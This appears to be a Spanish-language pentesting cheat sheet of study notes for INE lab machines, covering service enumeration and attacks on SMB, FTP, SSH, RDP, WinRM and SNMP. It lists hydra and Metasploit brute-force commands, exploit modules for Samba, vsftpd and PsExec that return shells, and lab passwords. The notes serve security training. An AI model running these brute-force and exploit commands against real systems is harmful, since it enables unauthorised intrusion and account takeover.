# Host & Network Pentesting

### SMB (port 445)

<table><thead><tr><th width="318.81817626953125">Description</th><th>Command</th></tr></thead><tbody><tr><td>Ver los protocolos</td><td>nmap -p445 --script smb-protocols demo.ine.local</td></tr><tr><td>Ver el modo de seguridad</td><td>nmap -p445 --script smb-security-mode demo.ine.local</td></tr><tr><td>Enumerar las sesiones</td><td>nmap -p445 --script smb-enum-sessions demo.ine.local</td></tr><tr><td>Enumerar las sesiones teniendo credenciales</td><td>nmap -p445 --script smb-enum-sessions --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local</td></tr><tr><td>Enumerar los shares</td><td>nmap -p445 --script smb-enum-shares demo.ine.local</td></tr><tr><td>Enumerar los shares teniendo credenciales</td><td><p>nmap -p445 --script smb-enum-shares --script-args </p><p>smbusername=administrator,smbpassword=smbserver_771 demo.ine.local</p></td></tr><tr><td>Enumerar los usuarios teniendo credenciales</td><td>nmap -p445 --script smb-enum-users --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local</td></tr><tr><td>Enumerar las estadísticas del servidor teniendo credenciales</td><td>nmap -p445 --script smb-server-stats --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local</td></tr><tr><td>Enumerar los dominios teniendo credenciales</td><td>nmap -p445 --script smb-enum-domains --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local</td></tr><tr><td>Enumerar los grupos teniendo credenciales</td><td>nmap -p445 --script smb-enum-groups --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local</td></tr><tr><td>Enumerar los servicios teniendo credenciales</td><td>nmap -p445 --script smb-enum-services --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local</td></tr><tr><td>Enumerar los shares teniendo credenciales</td><td>nmap -p445 --script smb-enum-shares,smb-ls --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local</td></tr><tr><td>Enumerar shares con acceso anonymous</td><td><p><code>//vim scriptEnum.sh</code></p><p><code>#!/bin/bash</code></p><p><code>ip="10.10.10.10"   # Cambiá por la IP de tu target</code></p><p><code>wordlist="shares.txt"</code></p><p><code>while read share; do</code></p><p>    <code>echo -e "\n[-] Intentando acceder a: $share"</code></p><p>    <code>output=$(smbclient "//$ip/$share" -N -c 'ls' 2>/dev/null)</code></p><p>    <code>if [[ -n "$output" ]]; then</code></p><p>        <code>echo "[+] Share $share accesible y tiene contenido:"</code></p><p>        <code>echo "$output"</code></p><p>    <code>else</code></p><p>        <code>echo "[-] Sin acceso o sin contenido visible."</code></p><p>    <code>fi</code></p><p><code>done &#x3C; "$wordlist"</code></p></td></tr><tr><td>Conectarse por smbclient</td><td>smbclient //target.ine.local/ -U</td></tr><tr><td>Enumerar puertos UDP</td><td>nmap -sU --top-ports 25 demo.ine.local</td></tr><tr><td>Ver el workgroup</td><td>nmap -sCV demo.ine.local</td></tr><tr><td>Conocer la versión exacta</td><td>nmap --script smb-os-discovery.nse -p 445 demo.ine.local</td></tr><tr><td>Conocer la versión exacta con Metasploit</td><td><p>msfconsole -q</p><p>use auxiliary/scanner/smb/smb_version</p><p>set RHOSTS demo.ine.local</p><p>exploit</p></td></tr><tr><td>Si tiene versión 3.0.20</td><td>use exploit/multi/samba/usermap_script</td></tr><tr><td>Encontrar el nombre del NETBIOS usando nmblookup</td><td>nmblookup -A demo.ine.local</td></tr><tr><td>Determinar si admite conexión anonymous (si lista los shares es que sí)</td><td>smbclient -L demo.ine.local -N</td></tr><tr><td>Determinar si admine conexión anonima usando rpcclient (si no muestra errores es que sí)</td><td>rpcclient -U "" -N demo.ine.local</td></tr><tr><td>Enumerar todo como anonymous</td><td>enum4linux -a target.ine.local</td></tr><tr><td>Enumerar todo con credenciales</td><td>enum4linux -u &#x3C;user> -p &#x3C;password> -U &#x3C;ip></td></tr><tr><td>Fuerza bruta a Samba</td><td>hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt smb://target2.ine.local</td></tr><tr><td>Enumerar credenciales con metasploit</td><td><p>auxiliary/scanner/smb/smb_login</p><p>set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt</p><p>set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt</p><p>set RHOSTS demo.ine.local</p><p>set VERBOSE false</p><p>exploit</p><p><br></p></td></tr><tr><td>Chequear permisos de los shares con Crackmapexec</td><td><p>crackmapexec smb target2.ine.local -u </p><p>administrator -p pineapple --shares</p></td></tr><tr><td>Para fuerza bruta, si es dialecto 1 usar hydra, sino, usar crackmapexec</td><td>crackmapexec smb target.ine.local -u tom -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt</td></tr><tr><td>Enumerar shares y ver sus permisos con smbmap</td><td>smbmap -u admin -p password1 -H demo.ine.local</td></tr><tr><td>Si es Samba smbd 3.X - 4.X</td><td><p>msfconsole -q</p><p>use exploit/linux/samba/is_known_pipename</p><p>set RHOST</p><p>exploit</p></td></tr></tbody></table>

***

### SMB with PsExec

Context: For use PsExec we MUST have:

* Valid credentials (User:Pass or NTLM hash)
* The user must have administrator permissions on the remote machine
* Port 445 must be open
* ADMIN$ share must be accessible
* The machine policy must allow remote execution (default)
* Firewall mustn't be blocking this action

Usage:

1. Enum protocols and dialects

nmap -p445 --script smb-protocols demo.ine.local

2. Find valid credentials:

```bash
msfconsole -q
use auxiliary/scanner/smb/smb_login
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set RHOSTS demo.ine.local
set VERBOSE false
exploit
```

3. With admin credentials, run psexec

```bash
msfconsole -q
use exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit
shell

```

***

### FTP (port 21)

| Description                       | Command                                                                                                                                                                                                               |
| --------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Conectarse                        | ftp target.ine.local                                                                                                                                                                                                  |
| Ver la versión                    | auxiliary/scanner/ftp/ftp\_version                                                                                                                                                                                    |
| Hacer fuerza bruta con Metasploit | <p>auxiliary/scanner/ftp/ftp\_login</p><p>set USER\_FILE /usr/share/metasploit-framework/data/wordlists/common\_users.txt</p><p>set PASS\_FILE /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt</p> |
| Hacer fuerza bruta con Hydra      | hydra -L users.txt -P passwords.txt <ftp://demo.ine.local>                                                                                                                                                            |
| Conectarse con credenciales       | ftp <user@demo.ine.local>                                                                                                                                                                                             |
| Si tiene vsftpd 2.3.4             | <p>nmap -p 21 --script vuln demo.ine.local<br>msfconsole -q</p><p>use exploit/unix/ftp/vsftpd\_234\_backdoor</p><p>set RHOSTS</p><p>exploit</p>                                                                       |

***

### SSH - Metasploit (port 22)

| Command                            | Description        |
| ---------------------------------- | ------------------ |
| auxiliary/scanner/ssh/ssh\_version | Conocer la version |
| auxiliary/scanner/ssh/ssh\_login   | Hacer fuerza bruta |

***

### RDP (port 3389)

| Command                                                                                                                                                                                                                                                                                                                                  | Description                                                              |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------ |
| <p>msfconsole -q<br>use auxiliary/scanner/rdp/rdp\_scanner</p><p>set RHOSTS demo.ine.local</p><p>set RPORT \<puerto que sospechamos></p><p>exploit</p>                                                                                                                                                                                   | Por default RDP está en el 3389, pero podemos chequearlo con este módulo |
| <p>hydra -L /usr/share/metasploit-framework/data/wordlists/common\_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt rdp\://demo.ine.local -s 3333<br><br>hydra -l bob -P \<paswordlist.txt> -s 80 target1.ine.local http-get “/” -V<br></p><p>dirb <http://target1.ine.local> -u bob:password\_123321</p> | Fuerza bruta con Hydra                                                   |
| xfreerdp /u:administrator /p:qwertyuiop /v:demo.ine.local:3333                                                                                                                                                                                                                                                                           | Acceder a RDP con credenciales                                           |

***

### WinRM - Metasploit (port 5985/5986)

| Command                                                                                                                                                                                                                                                                                                                                             | Description                                                                                                                                 |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
| nmap --top-ports 7000 demo.ine.local                                                                                                                                                                                                                                                                                                                | Ver puertos                                                                                                                                 |
| <p>msfconsole -q</p><p>use auxiliary/scanner/winrm/winrm\_login</p><p>set RHOSTS demo.ine.local</p><p>set USER\_FILE /usr/share/metasploit-framework/data/wordlists/common\_users.txt</p><p>set PASS\_FILE /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt</p><p>set VERBOSE false</p><p>set PASSWORD anything</p><p>exploit</p> | <p>Login con fuerza bruta.<br><em>(Hay que poner una PASSWORD cualquiera porque el módulo lo requiere, pero no se tiene en cuenta)</em></p> |
| <p>use auxiliary/scanner/winrm/winrm\_auth\_methods</p><p>set RHOSTS demo.ine.local</p><p>exploit</p>                                                                                                                                                                                                                                               | Chequear método de autenticación                                                                                                            |
| <p>use auxiliary/scanner/winrm/winrm\_cmd</p><p>set RHOSTS demo.ine.local</p><p>set USERNAME administrator</p><p>set PASSWORD tinkerbell</p><p>set CMD whoami</p><p>exploit</p>                                                                                                                                                                     | Conectarse y ejecutar whoami                                                                                                                |
| <p>use exploit/windows/winrm/winrm\_script\_exec</p><p>set RHOSTS demo.ine.local</p><p>set USERNAME administrator</p><p>set PASSWORD tinkerbell</p><p>set FORCE\_VBS true</p><p>exploit</p><p>shell</p>                                                                                                                                             | Obtener una shell                                                                                                                           |

***

### SNMP (port 161)

| Command                                                                                                                                                                                | Description                                                         |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------- |
| nmap -sU -p161 demo.ine.local                                                                                                                                                          | Chequear que esté el puerto abierto                                 |
| nmap -sU -p 161 --script=snmp-brute demo.ine.local                                                                                                                                     | Encontrar el string community server (auth key para acceder a snmp) |
| snmpwalk -v 1 -c public demo.ine.local                                                                                                                                                 | Encontrar toda la información con snmpwalk                          |
| <p>nmap -sU -p 161 --script snmp-\* demo.ine.local > snmp\_output</p><p>ls</p><p>cat snmp\_output</p>                                                                                  | Si no es human-readable, ejecutar ésto                              |
| hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt demo.ine.local smb                                                                            | Login con fuerza bruta                                              |
| <p>msfconsole -q</p><p>use exploit/windows/smb/psexec</p><p>show options</p><p>set RHOSTS demo.ine.local</p><p>set SMBUSER administrator</p><p>set SMBPASS elizabeth</p><p>exploit</p> | Ganar una session meterpreter                                       |
